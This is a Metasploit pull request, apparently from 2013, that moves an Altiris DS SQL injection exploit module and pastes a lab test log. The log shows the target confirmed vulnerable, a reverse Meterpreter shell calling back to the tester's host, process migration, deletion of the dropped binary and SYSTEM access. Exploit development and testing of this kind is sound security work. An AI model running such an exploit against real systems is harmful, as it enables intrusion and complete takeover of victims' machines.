3v0lver/metasploit-framework — pull request #1 by jvazquez-r7 (2013-11-08 00:16:29+00:00)
Title: Review PR 2517 Altiris SQLi

Hi @3v0lver ,

This pull request tries to clean https://github.com/rapid7/metasploit-framework/pull/2517and put it on the folder "windows/misc", since the vulnerability is not on MS sql but on Altiris.

Feel free to review the code, check, discuss, test anything and once you feel comfortable with it, land it into your branch, and the original https://github.com/rapid7/metasploit-framework/pull/2517 will be automatically updated and very close to be landed! Thanksin advance for your collaboration!

test after changes:

```
msf exploit(altiris_ds_sqli) > check

[*] 192.168.172.136:402 - Altiris DS Version '6.8.206'
[+] The target is vulnerable.
msf exploit(altiris_ds_sqli) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] Command Stager progress - 68.35% done (54/79 bytes)
[*] Sending stage (770048 bytes) to 192.168.172.136
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.136:1057) at 2013-11-07 18:11:07 -0600
[*] Migrating ...
[*] Command Stager progress - 100.00% done (79/79 bytes)
[*] Current server process: sZFPdefN.exe (3208)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3276
[+] Successfully migrated to process
[*] Kill parent process ...
[*] Attempting to delete C:\WINDOWS\TEMP\sZFPdefN.exe ...
[+] Deleted C:\WINDOWS\TEMP\sZFPdefN.exe

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : JUAN-6ED9DB6CA8
OS : Windows .NET Server (Build 3790, Service Pack 2).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.136 - Meterpreter session 1 closed. Reason: User exit
```